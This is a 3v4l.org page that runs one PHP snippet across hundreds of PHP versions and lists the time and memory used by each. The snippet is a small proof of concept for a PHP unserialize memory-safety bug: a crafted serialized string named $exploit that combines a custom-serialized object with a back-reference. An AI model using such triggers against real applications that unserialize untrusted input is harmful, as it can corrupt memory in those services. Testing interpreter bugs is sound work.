3v4l.org

run code in 300+ PHP versions simultaneously
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:2;}'; $data = unserialize($exploit); var_dump($data);

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.70.0140.00718.56
8.3.60.0040.01116.49
8.3.50.0090.01222.11
8.3.40.0140.00018.79
8.3.30.0080.00818.85
8.3.20.0070.00020.38
8.3.10.0030.00521.62
8.3.00.0090.00317.50
8.2.180.0160.00616.50
8.2.170.0040.01122.96
8.2.160.0130.00019.31
8.2.150.0040.00424.18
8.2.140.0040.00424.66
8.2.130.0000.00726.16
8.2.120.0040.00420.93
8.2.110.0000.01022.15
8.2.100.0070.00417.72
8.2.90.0050.00317.91
8.2.80.0040.00418.98
8.2.70.0060.00317.63
8.2.60.0000.00818.04
8.2.50.0030.00518.10
8.2.40.0040.00421.17
8.2.30.0000.00720.70
8.2.20.0030.00517.71
8.2.10.0000.00818.14
8.2.00.0000.00718.13
8.1.280.0060.00925.92
8.1.270.0050.00323.96
8.1.260.0050.00326.35
8.1.250.0040.00428.09
8.1.240.0100.00022.18
8.1.230.0090.00320.92
8.1.220.0000.00817.77
8.1.210.0030.00618.77
8.1.200.0030.00617.48
8.1.190.0030.00617.35
8.1.180.0080.00018.10
8.1.170.0030.00620.33
8.1.160.0000.00721.95
8.1.150.0000.00718.87
8.1.140.0000.00819.51
8.1.130.0000.00817.76
8.1.120.0050.00317.48
8.1.110.0070.00017.52
8.1.100.0040.00417.45
8.1.90.0040.00417.49
8.1.80.0030.00417.36
8.1.70.0000.00717.46
8.1.60.0040.00417.49
8.1.50.0030.00617.57
8.1.40.0000.01117.59
8.1.30.0040.00417.52
8.1.20.0000.00817.65
8.1.10.0040.00417.42
8.1.00.0000.00817.49
8.0.300.0070.00020.07
8.0.290.0040.00416.63
8.0.280.0070.00018.37
8.0.270.0040.00417.27
8.0.260.0030.00317.28
8.0.250.0040.00417.04
8.0.240.0070.00016.93
8.0.230.0000.00817.08
8.0.220.0030.00316.97
8.0.210.0000.00716.95
8.0.200.0000.00616.89
8.0.190.0040.00416.94
8.0.180.0000.00716.98
8.0.170.0080.00016.86
8.0.160.0040.00416.81
8.0.150.0060.00316.88
8.0.140.0030.00316.98
8.0.130.0060.00313.39
8.0.120.0030.00516.88
8.0.110.0000.00816.90
8.0.100.0070.00016.98
8.0.90.0070.00016.93
8.0.80.0090.00916.97
8.0.70.0000.00716.80
8.0.60.0030.00517.02
8.0.50.0040.00416.77
8.0.30.0100.01117.12
8.0.20.0120.00717.40
8.0.10.0000.00717.13
8.0.00.0070.01016.76
7.4.330.0050.00015.08
7.4.320.0060.00016.63
7.4.300.0000.00616.59
7.4.290.0030.00316.53
7.4.280.0000.00816.51
7.4.270.0050.00316.61
7.4.260.0050.00216.41
7.4.250.0000.00716.59
7.4.240.0040.00316.55
7.4.230.0030.00316.42
7.4.220.0170.00616.59
7.4.210.0110.00316.51
7.4.200.0040.00416.50
7.4.160.0100.00716.54
7.4.150.0040.01317.40
7.4.140.0140.00617.86
7.4.130.0190.00516.49
7.4.120.0110.00816.66
7.4.110.0100.00716.39
7.4.100.0060.01116.58
7.4.90.0120.00616.52
7.4.80.0110.01119.39
7.4.70.0130.00316.44
7.4.60.0070.01016.65
7.4.50.0040.00416.61
7.4.40.0150.00616.39
7.4.30.0080.00816.60
7.4.00.0000.01715.13
7.3.330.0030.00313.42
7.3.320.0050.00013.34
7.3.310.0000.00716.26
7.3.300.0000.00716.25
7.3.290.0060.00916.39
7.3.280.0130.00716.37
7.3.270.0000.02317.40
7.3.260.0180.00016.73
7.3.240.0130.00416.46
7.3.230.0070.01016.63
7.3.210.0030.01316.53
7.3.200.0040.01216.57
7.3.190.0210.00416.74
7.3.180.0100.00716.45
7.3.170.0130.00716.45
7.3.160.0100.00616.55
7.2.330.0130.00316.59
7.2.320.0100.01016.56
7.2.310.0090.00616.32
7.2.300.0080.00816.47
7.2.290.0100.01016.51
7.2.60.0150.00016.94
7.2.00.0090.00619.53
7.1.200.0060.00615.86
7.1.100.0100.01417.95
7.1.70.0040.00417.30
7.1.60.0060.00617.05
7.1.50.0060.01916.96
7.1.00.0070.07322.43
7.0.200.0070.01016.97
7.0.60.0100.08319.90
7.0.50.0030.04317.85
7.0.40.0170.08020.30
7.0.30.0170.05320.26
7.0.20.0070.05020.08
7.0.10.0270.03320.20
7.0.00.0030.08720.21
5.6.280.0030.03320.86
5.6.210.0030.04320.63
5.6.200.0070.08718.19
5.6.190.0070.08720.39
5.6.180.0370.07320.46
5.6.170.0230.06720.71
5.6.160.0130.07720.47
5.6.150.0130.04718.17
5.6.140.0070.07718.19
5.6.130.0100.05718.19
5.6.120.0100.08021.12
5.6.110.0030.08321.04
5.6.100.0100.05721.02
5.6.90.0100.06720.88
5.6.80.0000.09020.51
5.6.70.4500.03720.28
5.5.350.0000.08720.47
5.5.340.0100.07717.96
5.5.330.0130.07020.29
5.5.320.0070.04020.27
5.5.310.0370.07320.30
5.5.300.0030.04317.98
5.5.290.0100.07718.04
5.5.280.0070.04020.80
5.5.270.0030.07320.86
5.5.260.0070.04020.87
5.5.250.0070.08020.50
5.5.240.0070.08720.29
5.4.450.0670.05719.59
5.4.440.0570.06319.33
5.4.430.0570.06019.59
5.4.420.0630.05319.35
5.4.410.0670.05719.54
5.4.400.0700.04719.05
5.4.390.0700.05018.84
5.4.380.0670.05318.85
5.4.370.0770.04019.27
5.4.360.0870.08719.02
5.4.350.0870.05319.33
5.4.340.0830.05019.24
5.4.320.0900.04719.24
5.4.310.0830.04719.01
5.4.300.0900.04019.00
5.4.290.0800.05019.34
5.4.280.0770.05019.11
5.4.270.1030.05019.24
5.4.260.0770.05719.10
5.4.250.0770.05719.26
5.4.240.0830.05019.10
5.4.230.0700.05719.34
5.4.220.0870.05018.96
5.4.210.0700.06019.26
5.4.200.0700.06019.26
5.4.190.0900.05018.82
5.4.180.0670.05718.99
5.4.170.0870.05319.14
5.4.160.0630.05319.25
5.4.150.0900.04019.10
5.4.140.0870.06716.36
5.4.130.0800.04716.73
5.4.120.0830.05016.54
5.4.110.0700.05316.18
5.4.100.0830.04716.63
5.4.90.0700.05316.56
5.4.80.0800.05016.52
5.4.70.0630.05016.19
5.4.60.0630.05016.60
5.4.50.0670.04716.50
5.4.40.0800.04716.58
5.4.30.0730.06316.42
5.4.20.0700.04016.59
5.4.10.0730.05316.42
5.4.00.0630.05016.01

preferences:
52.23 ms | 401 KiB | 5 Q